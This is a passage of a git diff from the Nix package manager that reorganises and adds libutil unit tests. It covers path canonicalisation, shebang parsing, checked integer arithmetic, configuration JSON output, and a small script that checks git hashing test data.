b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc new file mode 100644 index 000000000..122a09dcb --- /dev/null +++ b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.cc @@ -0,0 +1,34 @@ +#include +#include "tracing-file-system-object-sink.hh" + +namespace nix::test { + +void TracingFileSystemObjectSink::createDirectory(const CanonPath & path) +{ + std::cerr << "createDirectory(" << path << ")\n"; + sink.createDirectory(path); +} + +void TracingFileSystemObjectSink::createRegularFile( + const CanonPath & path, std::function fn) +{ + std::cerr << "createRegularFile(" << path << ")\n"; + sink.createRegularFile(path, [&](CreateRegularFileSink & crf) { + // We could wrap this and trace about the chunks of data and such + fn(crf); + }); +} + +void TracingFileSystemObjectSink::createSymlink(const CanonPath & path, const std::string & target) +{ + std::cerr << "createSymlink(" << path << ", target: " << target << ")\n"; + sink.createSymlink(path, target); +} + +void TracingExtendedFileSystemObjectSink::createHardlink(const CanonPath & path, const CanonPath & target) +{ + std::cerr << "createHardlink(" << path << ", target: " << target << ")\n"; + sink.createHardlink(path, target); +} + +} // namespace nix::test diff --git a/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh new file mode 100644 index 000000000..895ac3664 --- /dev/null +++ b/tests/unit/libutil-support/tests/tracing-file-system-object-sink.hh @@ -0,0 +1,41 @@ +#pragma once +#include "fs-sink.hh" + +namespace nix::test { + +/** + * A `FileSystemObjectSink` that traces calls, writing to stderr. + */ +class TracingFileSystemObjectSink : public virtual FileSystemObjectSink +{ + FileSystemObjectSink & sink; +public: + TracingFileSystemObjectSink(FileSystemObjectSink & sink) + : sink(sink) + { + } + + void createDirectory(const CanonPath & path) override; + + void createRegularFile(const CanonPath & path, std::function fn) override; + + void createSymlink(const CanonPath & path, const std::string & target) override; +}; + +/** + * A `ExtendedFileSystemObjectSink` that traces calls, writing to stderr. + */ +class TracingExtendedFileSystemObjectSink : public TracingFileSystemObjectSink, public ExtendedFileSystemObjectSink +{ + ExtendedFileSystemObjectSink & sink; +public: + TracingExtendedFileSystemObjectSink(ExtendedFileSystemObjectSink & sink) + : TracingFileSystemObjectSink(sink) + , sink(sink) + { + } + + void createHardlink(const CanonPath & path, const CanonPath & target) override; +}; + +} diff --git a/tests/unit/libutil/.version b/tests/unit/libutil/.version new file mode 120000 index 000000000..0df9915bf --- /dev/null +++ b/tests/unit/libutil/.version @@ -0,0 +1 @@ +../../../.version \ No newline at end of file diff --git a/tests/unit/libutil/args.cc b/tests/unit/libutil/args.cc new file mode 100644 index 000000000..950224430 --- /dev/null +++ b/tests/unit/libutil/args.cc @@ -0,0 +1,168 @@ +#include "args.hh" +#include "fs-sink.hh" +#include + +#include +#include + +namespace nix { + + TEST(parseShebangContent, basic) { + std::list r = parseShebangContent("hi there"); + ASSERT_EQ(r.size(), 2); + auto i = r.begin(); + ASSERT_EQ(*i++, "hi"); + ASSERT_EQ(*i++, "there"); + } + + TEST(parseShebangContent, empty) { + std::list r = parseShebangContent(""); + ASSERT_EQ(r.size(), 0); + } + + TEST(parseShebangContent, doubleBacktick) { + std::list r = parseShebangContent("``\"ain't that nice\"``"); + ASSERT_EQ(r.size(), 1); + auto i = r.begin(); + ASSERT_EQ(*i++, "\"ain't that nice\""); + } + + TEST(parseShebangContent, doubleBacktickEmpty) { + std::list r = parseShebangContent("````"); + ASSERT_EQ(r.size(), 1); + auto i = r.begin(); + ASSERT_EQ(*i++, ""); + } + + TEST(parseShebangContent, doubleBacktickMarkdownInlineCode) { + std::list r = parseShebangContent("``# I'm markdown section about `coolFunction` ``"); + ASSERT_EQ(r.size(), 1); + auto i = r.begin(); + ASSERT_EQ(*i++, "# I'm markdown section about `coolFunction`"); + } + + TEST(parseShebangContent, doubleBacktickMarkdownCodeBlockNaive) { + std::list r = parseShebangContent("``Example 1\n```nix\na: a\n``` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1); + ASSERT_EQ(*i++, "Example 1\n``nix\na: a\n``"); + } + + TEST(parseShebangContent, doubleBacktickMarkdownCodeBlockCorrect) { + std::list r = parseShebangContent("``Example 1\n````nix\na: a\n```` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1); + ASSERT_EQ(*i++, "Example 1\n```nix\na: a\n```"); + } + + TEST(parseShebangContent, doubleBacktickMarkdownCodeBlock2) { + std::list r = parseShebangContent("``Example 1\n````nix\na: a\n````\nExample 2\n````nix\na: a\n```` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1); + ASSERT_EQ(*i++, "Example 1\n```nix\na: a\n```\nExample 2\n```nix\na: a\n```"); + } + + TEST(parseShebangContent, singleBacktickInDoubleBacktickQuotes) { + std::list r = parseShebangContent("``` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1); + ASSERT_EQ(*i++, "`"); + } + + TEST(parseShebangContent, singleBacktickAndSpaceInDoubleBacktickQuotes) { + std::list r = parseShebangContent("``` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1); + ASSERT_EQ(*i++, "` "); + } + + TEST(parseShebangContent, doubleBacktickInDoubleBacktickQuotes) { + std::list r = parseShebangContent("````` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 1); + ASSERT_EQ(*i++, "``"); + } + + TEST(parseShebangContent, increasingQuotes) { + std::list r = parseShebangContent("```` ``` `` ````` `` `````` ``"); + auto i = r.begin(); + ASSERT_EQ(r.size(), 4); + ASSERT_EQ(*i++, ""); + ASSERT_EQ(*i++, "`"); + ASSERT_EQ(*i++, "``"); + ASSERT_EQ(*i++, "```"); + } + + +#ifndef COVERAGE + +// quick and dirty +static inline std::string escape(std::string_view s_) { + + std::string_view s = s_; + std::string r = "``"; + + // make a guess to allocate ahead of time + r.reserve( + // plain chars + s.size() + // quotes + + 5 + // some "escape" backticks + + s.size() / 8); + + while (!s.empty()) { + if (s[0] == '`' && s.size() >= 2 && s[1] == '`') { + // escape it + r += "`"; + while (!s.empty() && s[0] == '`') { + r += "`"; + s = s.substr(1); + } + } else { + r += s[0]; + s = s.substr(1); + } + } + + if (!r.empty() + && ( + r[r.size() - 1] == '`' + || r[r.size() - 1] == ' ' + )) { + r += " "; + } + + r += "``"; + + return r; +}; + +RC_GTEST_PROP( + parseShebangContent, + prop_round_trip_single, + (const std::string & orig)) +{ + auto escaped = escape(orig); + // RC_LOG() << "escaped: <[[" << escaped << "]]>" << std::endl; + auto ss = parseShebangContent(escaped); + RC_ASSERT(ss.size() == 1); + RC_ASSERT(*ss.begin() == orig); +} + +RC_GTEST_PROP( + parseShebangContent, + prop_round_trip_two, + (const std::string & one, const std::string & two)) +{ + auto ss = parseShebangContent(escape(one) + " " + escape(two)); + RC_ASSERT(ss.size() == 2); + auto i = ss.begin(); + RC_ASSERT(*i++ == one); + RC_ASSERT(*i++ == two); +} + + +#endif + +} diff --git a/tests/unit/libutil/build-utils-meson b/tests/unit/libutil/build-utils-meson new file mode 120000 index 000000000..f2d8e8a50 --- /dev/null +++ b/tests/unit/libutil/build-utils-meson @@ -0,0 +1 @@ +../../../build-utils-meson/ \ No newline at end of file diff --git a/src/libutil/tests/canon-path.cc b/tests/unit/libutil/canon-path.cc similarity index 51% rename from src/libutil/tests/canon-path.cc rename to tests/unit/libutil/canon-path.cc index c1c5adadf..7f91308af 100644 --- a/src/libutil/tests/canon-path.cc +++ b/tests/unit/libutil/canon-path.cc @@ -41,6 +41,24 @@ namespace nix { } } + TEST(CanonPath, from_existing) { + CanonPath p0("foo//bar/"); + { + CanonPath p("/baz//quux/", p0); + ASSERT_EQ(p.abs(), "/baz/quux"); + ASSERT_EQ(p.rel(), "baz/quux"); + ASSERT_EQ(*p.baseName(), "quux"); + ASSERT_EQ(*p.dirOf(), "/baz"); + } + { + CanonPath p("baz//quux/", p0); + ASSERT_EQ(p.abs(), "/foo/bar/baz/quux"); + ASSERT_EQ(p.rel(), "foo/bar/baz/quux"); + ASSERT_EQ(*p.baseName(), "quux"); + ASSERT_EQ(*p.dirOf(), "/foo/bar/baz"); + } + } + TEST(CanonPath, pop) { CanonPath p("foo/bar/x"); ASSERT_EQ(p.abs(), "/foo/bar/x"); @@ -80,42 +98,40 @@ namespace nix { { CanonPath p1("a//foo/bar//"); CanonPath p2("xyzzy/bla"); - ASSERT_EQ((p1 + p2).abs(), "/a/foo/bar/xyzzy/bla"); + ASSERT_EQ((p1 / p2).abs(), "/a/foo/bar/xyzzy/bla"); } { CanonPath p1("/"); CanonPath p2("/a/b"); - ASSERT_EQ((p1 + p2).abs(), "/a/b"); + ASSERT_EQ((p1 / p2).abs(), "/a/b"); } { CanonPath p1("/a/b"); CanonPath p2("/"); - ASSERT_EQ((p1 + p2).abs(), "/a/b"); + ASSERT_EQ((p1 / p2).abs(), "/a/b"); } { CanonPath p("/foo/bar"); - ASSERT_EQ((p + "x").abs(), "/foo/bar/x"); + ASSERT_EQ((p / "x").abs(), "/foo/bar/x"); } { CanonPath p("/"); - ASSERT_EQ((p + "foo" + "bar").abs(), "/foo/bar"); + ASSERT_EQ((p / "foo" / "bar").abs(), "/foo/bar"); } } TEST(CanonPath, within) { - { - ASSERT_TRUE(CanonPath("foo").isWithin(CanonPath("foo"))); - ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("bar"))); - ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("fo"))); - ASSERT_TRUE(CanonPath("foo/bar").isWithin(CanonPath("foo"))); - ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("foo/bar"))); - ASSERT_TRUE(CanonPath("/foo/bar/default.nix").isWithin(CanonPath("/"))); - ASSERT_TRUE(CanonPath("/").isWithin(CanonPath("/"))); - } + ASSERT_TRUE(CanonPath("foo").isWithin(CanonPath("foo"))); + ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("bar"))); + ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("fo"))); + ASSERT_TRUE(CanonPath("foo/bar").isWithin(CanonPath("foo"))); + ASSERT_FALSE(CanonPath("foo").isWithin(CanonPath("foo/bar"))); + ASSERT_TRUE(CanonPath("/foo/bar/default.nix").isWithin(CanonPath("/"))); + ASSERT_TRUE(CanonPath("/").isWithin(CanonPath("/"))); } TEST(CanonPath, sort) { @@ -127,29 +143,38 @@ namespace nix { } TEST(CanonPath, allowed) { - { - std::set allowed { - CanonPath("foo/bar"), - CanonPath("foo!"), - CanonPath("xyzzy"), - CanonPath("a/b/c"), - }; + std::set allowed { + CanonPath("foo/bar"), + CanonPath("foo!"), + CanonPath("xyzzy"), + CanonPath("a/b/c"), + }; - ASSERT_TRUE (CanonPath("foo/bar").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("foo/bar/bla").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("foo").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("bar").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("bar/a").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a/b").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a/b/c").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a/b/c/d").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("a/b/c/d/e").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("a/b/a").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("a/b/d").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("aaa").isAllowed(allowed)); - ASSERT_FALSE(CanonPath("zzz").isAllowed(allowed)); - ASSERT_TRUE (CanonPath("/").isAllowed(allowed)); - } + ASSERT_TRUE (CanonPath("foo/bar").isAllowed(allowed)); + ASSERT_TRUE (CanonPath("foo/bar/bla").isAllowed(allowed)); + ASSERT_TRUE (CanonPath("foo").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("bar").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("bar/a").isAllowed(allowed)); + ASSERT_TRUE (CanonPath("a").isAllowed(allowed)); + ASSERT_TRUE (CanonPath("a/b").isAllowed(allowed)); + ASSERT_TRUE (CanonPath("a/b/c").isAllowed(allowed)); + ASSERT_TRUE (CanonPath("a/b/c/d").isAllowed(allowed)); + ASSERT_TRUE (CanonPath("a/b/c/d/e").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("a/b/a").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("a/b/d").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("aaa").isAllowed(allowed)); + ASSERT_FALSE(CanonPath("zzz").isAllowed(allowed)); + ASSERT_TRUE (CanonPath("/").isAllowed(allowed)); + } + + TEST(CanonPath, makeRelative) { + CanonPath d("/foo/bar"); + ASSERT_EQ(d.makeRelative(CanonPath("/foo/bar")), "."); + ASSERT_EQ(d.makeRelative(CanonPath("/foo")), ".."); + ASSERT_EQ(d.makeRelative(CanonPath("/")), "../.."); + ASSERT_EQ(d.makeRelative(CanonPath("/foo/bar/xyzzy")), "xyzzy"); + ASSERT_EQ(d.makeRelative(CanonPath("/foo/bar/xyzzy/bla")), "xyzzy/bla"); + ASSERT_EQ(d.makeRelative(CanonPath("/foo/xyzzy/bla")), "../xyzzy/bla"); + ASSERT_EQ(d.makeRelative(CanonPath("/xyzzy/bla")), "../../xyzzy/bla"); } } diff --git a/tests/unit/libutil/checked-arithmetic.cc b/tests/unit/libutil/checked-arithmetic.cc new file mode 100644 index 000000000..75018660d --- /dev/null +++ b/tests/unit/libutil/checked-arithmetic.cc @@ -0,0 +1,158 @@ +#include +#include +#include +#include +#include +#include + +#include + +#include "tests/gtest-with-params.hh" + +namespace rc { +using namespace nix; + +template +struct Arbitrary> +{ + static Gen> arbitrary() + { + return gen::arbitrary(); + } +}; + +} + +namespace nix::checked { + +// Pointer to member function! Mildly gross. +template +using Oper = Checked::Result (Checked::*)(T const other) const; + +template +using ReferenceOper = T (*)(T a, T b); + +/** + * Checks that performing an operation that overflows into an inaccurate result + * has the desired behaviour. + * + * TBig is a type large enough to represent all results of TSmall operations. + */ +template +void checkType(TSmall a_, TSmall b, Oper oper, ReferenceOper reference) +{ + // Sufficient to fit all values + TBig referenceResult = reference(a_, b); + constexpr const TSmall minV = std::numeric_limits::min(); + constexpr const TSmall maxV = std::numeric_limits::max(); + + Checked a{a_}; + auto result = (a.*(oper))(b); + + // Just truncate it to get the in-range result + RC_ASSERT(result.valueWrapping() == static_cast(referenceResult)); + + if (referenceResult > maxV || referenceResult < minV) { + RC_ASSERT(result.overflowed()); + RC_ASSERT(!result.valueChecked().has_value()); + } else { + RC_ASSERT(!result.overflowed()); + RC_ASSERT(result.valueChecked().has_value()); + RC_ASSERT(*result.valueChecked() == referenceResult); + } +} + +/** + * Checks that performing an operation that overflows into an inaccurate result + * has the desired behaviour. + * + * TBig is a type large enough to represent all results of TSmall operations. + */ +template +void checkDivision(TSmall a_, TSmall b) +{ + // Sufficient to fit all values + constexpr const TSmall minV = std::numeric_limits::min(); + + Checked a{a_}; + auto result = a / b; + + if (std::is_signed() && a_ == minV && b == -1) { + // This is the only possible overflow condition + RC_ASSERT(result.valueWrapping() == minV); + RC_ASSERT(result.overflowed()); + } else if (b == 0) { + RC_ASSERT(result.divideByZero()); + RC_ASSERT_THROWS_AS(result.valueWrapping(), nix::checked::DivideByZero); + RC_ASSERT(result.valueChecked() == std::nullopt); + } else { + TBig referenceResult = a_ / b; + auto result_ = result.valueChecked(); + RC_ASSERT(result_.has_value()); + RC_ASSERT(*result_ == referenceResult); + RC_ASSERT(result.valueWrapping() == referenceResult); + } +} + +/** Creates parameters that perform a more adequate number of checks to validate + * extremely cheap tests such as arithmetic tests */ +static rc::detail::TestParams makeParams() +{ + auto const & conf = rc::detail::configuration(); + auto newParams = conf.testParams; + newParams.maxSuccess = 10000; + return newParams; +} + +RC_GTEST_PROP_WITH_PARAMS(Checked, add_unsigned, makeParams, (uint16_t a, uint16_t b)) +{ + checkType(a, b, &Checked::operator+, [](int32_t a, int32_t b) { return a + b; }); +} + +RC_GTEST_PROP_WITH_PARAMS(Checked, add_signed, makeParams, (int16_t a, int16_t b)) +{ + checkType(a, b, &Checked::operator+, [](int32_t a, int32_t b) { return a + b; }); +} + +RC_GTEST_PROP_WITH_PARAMS(Checked, sub_unsigned, makeParams, (uint16_t a, uint16_t b)) +{ + checkType(a, b, &Checked::operator-, [](int32_t a, int32_t b) { return a - b; }); +} + +RC_GTEST_PROP_WITH_PARAMS(Checked, sub_signed, makeParams, (int16_t a, int16_t b)) +{ + checkType(a, b, &Checked::operator-, [](int32_t a, int32_t b) { return a - b; }); +} + +RC_GTEST_PROP_WITH_PARAMS(Checked, mul_unsigned, makeParams, (uint16_t a, uint16_t b)) +{ + checkType(a, b, &Checked::operator*, [](int64_t a, int64_t b) { return a * b; }); +} + +RC_GTEST_PROP_WITH_PARAMS(Checked, mul_signed, makeParams, (int16_t a, int16_t b)) +{ + checkType(a, b, &Checked::operator*, [](int64_t a, int64_t b) { return a * b; }); +} + +RC_GTEST_PROP_WITH_PARAMS(Checked, div_unsigned, makeParams, (uint16_t a, uint16_t b)) +{ + checkDivision(a, b); +} + +RC_GTEST_PROP_WITH_PARAMS(Checked, div_signed, makeParams, (int16_t a, int16_t b)) +{ + checkDivision(a, b); +} + +// Make absolutely sure that we check the special cases if the proptest +// generator does not come up with them. This one is especially important +// because it has very specific pairs required for the edge cases unlike the +// others. +TEST(Checked, div_signed_special_cases) +{ + checkDivision(std::numeric_limits::min(), -1); + checkDivision(std::numeric_limits::min(), 0); + checkDivision(0, 0); +} + +} diff --git a/src/libutil/tests/chunked-vector.cc b/tests/unit/libutil/chunked-vector.cc similarity index 100% rename from src/libutil/tests/chunked-vector.cc rename to tests/unit/libutil/chunked-vector.cc diff --git a/src/libutil/tests/closure.cc b/tests/unit/libutil/closure.cc similarity index 100% rename from src/libutil/tests/closure.cc rename to tests/unit/libutil/closure.cc diff --git a/src/libutil/tests/compression.cc b/tests/unit/libutil/compression.cc similarity index 100% rename from src/libutil/tests/compression.cc rename to tests/unit/libutil/compression.cc diff --git a/src/libutil/tests/config.cc b/tests/unit/libutil/config.cc similarity index 86% rename from src/libutil/tests/config.cc rename to tests/unit/libutil/config.cc index 8be6730dd..886e70da5 100644 --- a/src/libutil/tests/config.cc +++ b/tests/unit/libutil/config.cc @@ -82,6 +82,7 @@ namespace nix { TestSetting() : AbstractSetting("test", "test", {}) {} void set(const std::string & value, bool append) override {} std::string to_string() const override { return {}; } + bool isAppendable() override { return false; } }; Config config; @@ -90,6 +91,7 @@ namespace nix { ASSERT_FALSE(config.set("test", "value")); config.addSetting(&setting); ASSERT_TRUE(config.set("test", "value")); + ASSERT_FALSE(config.set("extra-test", "value")); } TEST(Config, withInitialValue) { @@ -156,12 +158,54 @@ namespace nix { } TEST(Config, toJSONOnNonEmptyConfig) { + using nlohmann::literals::operator "" _json; Config config; - std::map settings; - Setting setting{&config, "", "name-of-the-setting", "description"}; + Setting setting{ + &config, + "", + "name-of-the-setting", + "description", + }; setting.assign("value"); - ASSERT_EQ(config.toJSON().dump(), R"#({"name-of-the-setting":{"aliases":[],"defaultValue":"","description":"description\n","documentDefault":true,"value":"value"}})#"); + ASSERT_EQ(config.toJSON(), + R"#({ + "name-of-the-setting": { + "aliases": [], + "defaultValue": "", + "description": "description\n", + "documentDefault": true, + "value": "value", + "experimentalFeature": null + } + })#"_json); + } + + TEST(Config, toJSONOnNonEmptyConfigWithExperimentalSetting) { + using nlohmann::literals::operator "" _json; + Config config; + Setting setting{ + &config, + "", + "name-of-the-setting", + "description", + {}, + true, + Xp::Flakes, + }; + setting.assign("value"); + + ASSERT_EQ(config.toJSON(), + R"#({ + "name-of-the-setting": { + "aliases": [], + "defaultValue": "", + "description": "description\n", + "documentDefault": true, + "value": "value", + "experimentalFeature": "flakes" + } + })#"_json); } TEST(Config, setSettingAlias) { diff --git a/tests/unit/libutil/data/git/check-data.sh b/tests/unit/libutil/data/git/check-data.sh new file mode 100644 index 000000000..b3f59c4f1 --- /dev/null +++ b/tests/unit/libutil/data/git/check-data.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/git-hashing/check-data +mkdir -p $TEST_ROOT + +repo="$TEST_ROOT/scratch" +git init "$repo" + +git -C "$repo" config user.email "you@example.com" +git -C "$repo" config user.name "Your Name" + +# `-w` to write for tree test +freshlyAddedHash=$(git -C "$repo" hash-object -w -t blob --stdin < "./hello-world.bin") +encodingHash=$(sha1sum -b < "./hello-world-blob.bin" | head -c 40) + +# If the hashes match, then `hello-world-blob.bin` must be the encoding +# of `hello-world.bin`. +[[ "$encodingHash" == "$freshlyAddedHash" ]] + +# Create empty directory object for tree test +echo -n | git -C "$repo" hash-object -w -t tree --stdin + +# Relies on both child hashes already existing in the git store +freshlyAddedHash=$(git -C "$repo" mktree < "./tree.txt") +encodingHash=$(sha1sum -b < "./tree.bin" | head -c 40) + +# If the hashes match, then `tree.bin` must be the encoding of the +# directory denoted by `tree.txt` interpreted as git directory listing. +[[ "$encodingHash" == "$freshlyAddedHash" ]] diff --git a/tests/unit/libutil/data/git/hello-world-blob.bin b/tests/unit/libutil/data/git/hello-world-blob.bin new file mode 100644 index 000000000..255f5df55 Binary files /dev/null and b/tests/unit/libutil/data/git/hello-world-blob.bin differ diff --git a/tests/unit/libutil/data/git/hello-world.bin b/tests/unit/libutil/data/git/hello-world.bin new file mode 100644 index 000000000..63ddb3401 Binary files /dev/null and b/tests/unit/libutil/data/git/hello-world.bin differ diff --git a/tests/unit/libutil/data/git/tree.bin b/tests/unit/libutil/data/git/tree.bin new file mode 100644 index 000000000..4ccd43e9a Binary files /dev/null and b/tests/unit/libutil/data/git/tree.bin differ diff --git a/tests/unit/libutil/data/git/tree.txt b/tests/unit/libutil/data/git/tree.txt new file mode 100644 index 000000000..cd40b6a55 --- /dev/null +++ b/tests/unit/libutil/data/git/tree.txt @@ -0,0 +1,4 @@ +100644 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 Foo +100755 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 bAr +040000 tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904 baZ +120000 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 quuX diff --git a/tests/unit/libutil/executable-path.cc b/tests/unit/libutil/executable-path.cc new file mode 100644 index 000000000..8d182357d --- /dev/null +++ b/tests/unit/libutil/executable-path.cc @@ -0,0 +1,64 @@ +#include + +#include "executable-path.hh" + +namespace nix { + +#ifdef WIN32 +# define PATH_VAR_SEP L";" +#else +# define PATH_VAR_SEP ":" +#endif + +#define PATH_ENV_ROUND_TRIP(NAME, STRING_LIT, CXX_LIT) \ + TEST(ExecutablePath, NAME) \ + { \ + OsString s = STRING_LIT; \ + auto v = ExecutablePath::parse(s); \ + EXPECT_EQ(v, (ExecutablePath CXX_LIT)); \ + auto s2 = v.render(); \ + EXPECT_EQ(s2, s); \ + } + +PATH_ENV_ROUND_TRIP(emptyRoundTrip, OS_STR(""), ({})) + +PATH_ENV_ROUND_TRIP( + oneElemRoundTrip, + OS_STR("/foo"), + ({ + OS_STR("/foo"), + })) + +PATH_ENV_ROUND_TRIP( + twoElemsRoundTrip, + OS_STR("/foo" PATH_VAR_SEP "/bar"), + ({ + OS_STR("/foo"), + OS_STR("/bar"), + })) + +PATH_ENV_ROUND_TRIP( + threeElemsRoundTrip, + OS_STR("/foo" PATH_VAR_SEP "." PATH_VAR_SEP "/bar"), + ({ + OS_STR("/foo"), + OS_STR("."), + OS_STR("/bar"), + })) + +TEST(ExecutablePath, elementyElemNormalize) +{ + auto v = ExecutablePath::parse(PATH_VAR_SEP PATH_VAR_SEP PATH_VAR_SEP); + EXPECT_EQ( + v, + (ExecutablePath{{ + OS_STR("."), + OS_STR("."), + OS_STR("."), + OS_STR("."), + }})); + auto s2 = v.render(); + EXPECT_EQ(s2, OS_STR("." PATH_VAR_SEP "." PATH_VAR_SEP "." PATH_VAR_SEP ".")); +} + +} diff --git a/tests/unit/libutil/file-content-address.cc b/tests/unit/libutil/file-content-address.cc new file mode 100644 index 000000000..27d926a87 --- /dev/null +++ b/tests/unit/libutil/file-content-address.cc @@ -0,0 +1,61 @@ +#include + +#include "file-content-address.hh" + +namespace nix { + +/* ---------------------------------------------------------------------------- + * parseFileSerialisationMethod, renderFileSerialisationMethod + * --------------------------------------------------------------------------*/ + +TEST(FileSerialisationMethod, testRoundTripPrintParse_1) { + for (const FileSerialisationMethod fim : { + FileSerialisationMethod::Flat, + FileSerialisationMethod::NixArchive, + }) { + EXPECT_EQ(parseFileSerialisationMethod(renderFileSerialisationMethod(fim)), fim); + } +} + +TEST(FileSerialisationMethod, testRoundTripPrintParse_2) { + for (const std::string_view fimS : { + "flat", + "nar", + }) { + EXPECT_EQ(renderFileSerialisationMethod(parseFileSerialisationMethod(fimS)), fimS); + } +} + +TEST(FileSerialisationMethod, testParseFileSerialisationMethodOptException) { + EXPECT_THROW(parseFileSerialisationMethod("narwhal"), UsageError); +} + +/* ---------------------------------------------------------------------------- + * parseFileIngestionMethod, renderFileIngestionMethod + * --------------------------------------------------------------------------*/ + +TEST(FileIngestionMethod, testRoundTripPrintParse_1) { + for (const FileIngestionMethod fim : { + FileIngestionMethod::Flat, + FileIngestionMethod::NixArchive, + FileIngestionMethod::Git, + }) { + EXPECT_EQ(parseFileIngestionMethod(renderFileIngestionMethod(fim)), fim); + } +} + +TEST(FileIngestionMethod, testRoundTripPrintParse_2) { + for (const std::string_view fimS : { + "flat", + "nar", + "git", + }) { + EXPECT_EQ(renderFileIngestionMethod(parseFileIngestionMethod(fimS)), fimS); + } +} + +TEST(FileIngestionMethod, testParseFileIngestionMethodOptException) { + EXPECT_THROW(parseFileIngestionMethod("narwhal"), UsageError); +} + +} diff --git a/tests/unit/libutil/file-system.cc b/tests/unit/libutil/file-system.cc new file mode 100644 index 000000000..cfddaae1c --- /dev/null +++ b/tests/unit/libutil/file-system.cc @@ -0,0 +1,258 @@ +#include "util.hh" +#include "types.hh" +#include "file-system.hh" +#include "processes.hh" +#include "terminal.hh" +#include "strings.hh" + +#include +#include +#include + +#include + +#ifdef _WIN32 +# define FS_SEP "\\" +# define FS_ROOT "C:" FS_SEP // Need a mounted one, C drive is likely +#else +# define FS_SEP "/" +# define FS_ROOT FS_SEP +#endif + +#ifndef PATH_MAX +# define PATH_MAX 4096 +#endif + +namespace nix { + +/* ----------- tests for file-system.hh -------------------------------------*/ + +/* ---------------------------------------------------------------------------- + * absPath + * --------------------------------------------------------------------------*/ + +TEST(absPath, doesntChangeRoot) +{ + auto p = absPath(FS_ROOT); + + ASSERT_EQ(p, FS_ROOT); +} + +TEST(absPath, turnsEmptyPathIntoCWD) +{ + char cwd[PATH_MAX + 1]; + auto p = absPath(""); + + ASSERT_EQ(p, getcwd((char *) &cwd, PATH_MAX)); +} + +TEST(absPath, usesOptionalBasePathWhenGiven) +{ + char _cwd[PATH_MAX + 1]; + char * cwd = getcwd((char *) &_cwd, PATH_MAX); + + auto p = absPath("", cwd); + + ASSERT_EQ(p, cwd); +} + +TEST(absPath, isIdempotent) +{ + char _cwd[PATH_MAX + 1]; + char * cwd = getcwd((char *) &_cwd, PATH_MAX); + auto p1 = absPath(cwd); + auto p2 = absPath(p1); + + ASSERT_EQ(p1, p2); +} + +TEST(absPath, pathIsCanonicalised) +{ + auto path = FS_ROOT "some/path/with/trailing/dot/."; + auto p1 = absPath(path); + auto p2 = absPath(p1); + + ASSERT_EQ(p1, FS_ROOT "some" FS_SEP "path" FS_SEP "with" FS_SEP "trailing" FS_SEP "dot"); + ASSERT_EQ(p1, p2); +} + +/* ---------------------------------------------------------------------------- + * canonPath + * --------------------------------------------------------------------------*/ + +TEST(canonPath, removesTrailingSlashes) +{ + auto path = FS_ROOT "this/is/a/path//"; + auto p = canonPath(path); + + ASSERT_EQ(p, FS_ROOT "this" FS_SEP "is" FS_SEP "a" FS_SEP "path"); +} + +TEST(canonPath, removesDots) +{ + auto path = FS_ROOT "this/./is/a/path/./"; + auto p = canonPath(path); + + ASSERT_EQ(p, FS_ROOT "this" FS_SEP "is" FS_SEP "a" FS_SEP "path"); +} + +TEST(canonPath, removesDots2) +{ + auto path = FS_ROOT "this/a/../is/a////path/foo/.."; + auto p = canonPath(path); + + ASSERT_EQ(p, FS_ROOT "this" FS_SEP "is" FS_SEP "a" FS_SEP "path"); +} + +TEST(canonPath, requiresAbsolutePath) +{ + ASSERT_ANY_THROW(canonPath(".")); + ASSERT_ANY_THROW(canonPath("..")); + ASSERT_ANY_THROW(canonPath("../")); + ASSERT_DEATH({ canonPath(""); }, "path != \"\""); +} + +/* ---------------------------------------------------------------------------- + * dirOf + * --------------------------------------------------------------------------*/ + +TEST(dirOf, returnsEmptyStringForRoot) +{ + auto p = dirOf("/"); + + ASSERT_EQ(p, "/"); +} + +TEST(dirOf, returnsFirstPathComponent) +{ + auto p1 = dirOf("/dir/"); + ASSERT_EQ(p1, "/dir"); + auto p2 = dirOf("/dir"); + ASSERT_EQ(p2, "/"); + auto p3 = dirOf("/dir/.."); + ASSERT_EQ(p3, "/dir"); + auto p4 = dirOf("/dir/../"); + ASSERT_EQ(p4, "/dir/.."); +} + +/* ---------------------------------------------------------------------------- + * baseNameOf + * --------------------------------------------------------------------------*/ + +TEST(baseNameOf, emptyPath) +{ + auto p1 = baseNameOf(""); + ASSERT_EQ(p1, ""); +} + +TEST(baseNameOf, pathOnRoot) +{ + auto p1 = baseNameOf("/dir"); + ASSERT_EQ(p1, "dir"); +} + +TEST(baseNameOf, relativePath) +{ + auto p1 = baseNameOf("dir/foo"); + 